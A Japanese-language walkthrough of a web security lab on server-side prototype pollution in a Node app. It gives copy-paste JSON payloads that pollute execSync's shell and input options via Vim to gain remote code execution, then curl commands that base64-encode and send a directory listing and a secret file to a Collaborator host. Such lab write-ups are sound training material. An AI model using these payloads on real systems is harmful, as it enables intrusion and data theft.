Hello there, ('ω')ノ
全体像(何が起きるのか)
- 汚染源:アドレス変更フォームの JSON をそのままサーバオブジェクトへマージしている
- 検知の合図:
"__proto__": {"json spaces": 10}を入れると、レスポンス JSON のインデントが増える - ガジェット:メンテナンスジョブ(管理画面)内で execSync がオプションオブジェクトを参照
- 注入:
Object.prototype.shellとObject.prototype.inputを設定 → シェル/標準入力を乗っ取る - RCE確認:
curl https://<あなたのCollaborator>を実行させ、DNS/HTTPヒットで確証 - 流出:
ls /home/carlos | base64 | curl -d @- …でファイル名、cat /home/carlos/secret | base64 | curl -d @- …で秘密を送る
実務上の解釈:サーバ側のプロトタイプ(Object.prototype)を汚染→どこかで使われる共通オプションに影響→思わぬコード実行へ。
事前準備
- 認証:
wiener:peterでログイン(既に権限昇格済み) - Burp Suite:Proxy/Repeater/Collaborator を使用
- 注意:プロトタイプ汚染はアプリを落とす可能性あり。ラボ上部の Restart で復帰可能(実務では不可なので慎重に)
フェーズA:汚染の成立を“安全に”確かめる
1) 対象リクエストを掴む
- アカウントページ → 住所変更フォームを送信
- Proxy → HTTP history で
POST /my-account/change-addressを Send to Repeater
2) __proto__ で“インデント変化”を見る(副作用小)
リクエストボディ(例):
{ "address_line_1": "1 Main St", "address_line_2": "", "city": "London", "postcode": "NW1 1AA", "__proto__": { "json spaces": 10 } }
- Send → Response の Raw を見る
- 期待:レスポンス JSON のインデントが広がる(通常2→10など)
→ Object.prototype が汚染された強い示唆(Express の
res.json()が参照する設定に反映)
フェーズB:RCE のガジェットを掘り当てる
3) 管理画面のメンテナンスボタンを観察
- Admin パネルに「メンテナンス実行」ボタンあり
- クリックでDB/FS クリーニング等のバックグラウンドジョブが走る → Node ではこうした処理で child_process.execSync を使いがち(オプション汚染の好物)
4) execSync のオプションをプロトタイプ経由で上書き
execSync(command, options)の options に- shell(使用するシェル。既定
/bin/sh) - input(標準入力に流す文字列) がある
- shell(使用するシェル。既定
- これを Object.prototype に刺せば、どこかの共通オプションから継承されて実効化される可能性が高い
注入ペイロード(アドレス変更の JSON に加える):
"__proto__": { "shell": "vim", "input": ":! curl https://YOUR-COLLABORATOR-ID.oastify.com\n" }
shell: "vim":コマンドの代わりに Vim を起動する発想(Vim はコマンドモードで外部コマンド実行ができる)input: ":! curl https://<collab>\n":Vim の標準入力に:! ...を送り、起動後に外部コマンドを実行させる
なぜ Vim? /bin/sh の input はそのままシェルコマンド扱いにならない場合がある。Vim は確実に標準入力からコマンドモードへ入れるので、堅実に外部コマンドが呼ばれる。
5) 実行&検知
- 上記ペイロードで POST /my-account/change-address → 200 を確認
- ブラウザで Admin パネル → メンテナンス実行
- Burp Collaborator → Poll now → DNS/HTTP のヒットが複数件見えたら RCE 確定
フェーズC:/home/carlos の内容(ファイル名)を流出
6) ls の結果を Base64→HTTP POST で送る
再度、アドレス変更リクエストの JSON に以下を差し替え:
"__proto__": { "shell": "vim", "input": ":! ls /home/carlos | base64 | curl -d @- https://YOUR-COLLABORATOR-ID.oastify.com\n" }
- Send → Admin で メンテナンス実行
- Collaborator → Poll now
→ HTTP POST が来て本文が Base64
→ デコード:
node_appsとsecret等が判明
フェーズD:/home/carlos/secret の中身を流出
7) cat → Base64 → POST
再度、以下で上書き:
"__proto__": { "shell": "vim", "input": ":! cat /home/carlos/secret | base64 | curl -d @- https://YOUR-COLLABORATOR-ID.oastify.com\n" }
- Send → Admin で メンテナンス実行
- Collaborator → Poll now → Base64 本文を取得 → デコードして秘密文字列を得る
8) 提出
- ラボ上部の Submit solution → 秘密の値を貼り付けて送信 → クリア
Burp の操作ひな型(コピペ用)
ベースの変更リクエスト(例)
POST /my-account/change-address HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/json
Cookie: session=...
{
"address_line_1": "1 Main St",
"address_line_2": "",
"city": "London",
"postcode": "NW1 1AA",
"__proto__": {
"json spaces": 10
}
}
RCE 確認用(Vim + curl)
"__proto__": { "shell": "vim", "input": ":! curl https://YOUR-COLLABORATOR-ID.oastify.com\n" }
目录(ls)流出
"__proto__": { "shell": "vim", "input": ":! ls /home/carlos | base64 | curl -d @- https://YOUR-COLLABORATOR-ID.oastify.com\n" }
ファイル流出
"__proto__": { "shell": "vim", "input": ":! cat /home/carlos/secret | base64 | curl -d @- https://YOUR-COLLABORATOR-ID.oastify.com\n" }
Collaborator ドメインは Burp で Insert Collaborator payload を使って差し込むと確実。
つまずきやすいポイント(原因→対処)
- インデントが変わらない:
"json spaces"のスペル・位置を再確認。__proto__はトップレベルに置く。 - メンテが失敗するだけで Collaborator に来ない:FW/SSL で失敗の可能性。
http://に落とす、curl -kを併用(ラボはたいてい不要)。 - サーバが固まる/落ちる:汚染が強すぎる。Restart してやり直し、まずは
json spacesの軽い汚染→shell/inputへ段階的に。 - Base64 デコードで文字化け:改行混在に注意。Burp内で Copy to file → 標準的なデコーダでデコード。
Vim が起動しない?:実装差で
shellが別扱いのことも。代替としてshell: "/bin/sh"+input: "curl https://<collab>\n"やinput: "echo; curl ...\n"を試す。まずは解法どおりの Vimで通る前提。
なぜこの手法が効くのか(理解のコア)
- Object.assign / deep-merge の無防備なマージが Object.prototype に到達
- 汚染したプロパティが後続のどこかの共通オプション(ここでは execSync の
options)に継承 - 入力検証の責務放棄が全レイヤに副作用を波及し、RCE→データ流出まで一直線
まとめ(1枚に凝縮)
- 観察:住所変更POST→レスポンスJSONのインデントで汚染確認
- 注入:
shell="vim",input=":! curl ...\n"を Object.prototype に差す - 実行:Admin のメンテ起動→ Collaborator ヒットで RCE 確定
- 流出:
ls/cat+base64 | curl -d @-でファイル名→秘密を外部送信 - 提出:デコードした secret を Submit solution に入れてクリア
Best regards, (^^ゞ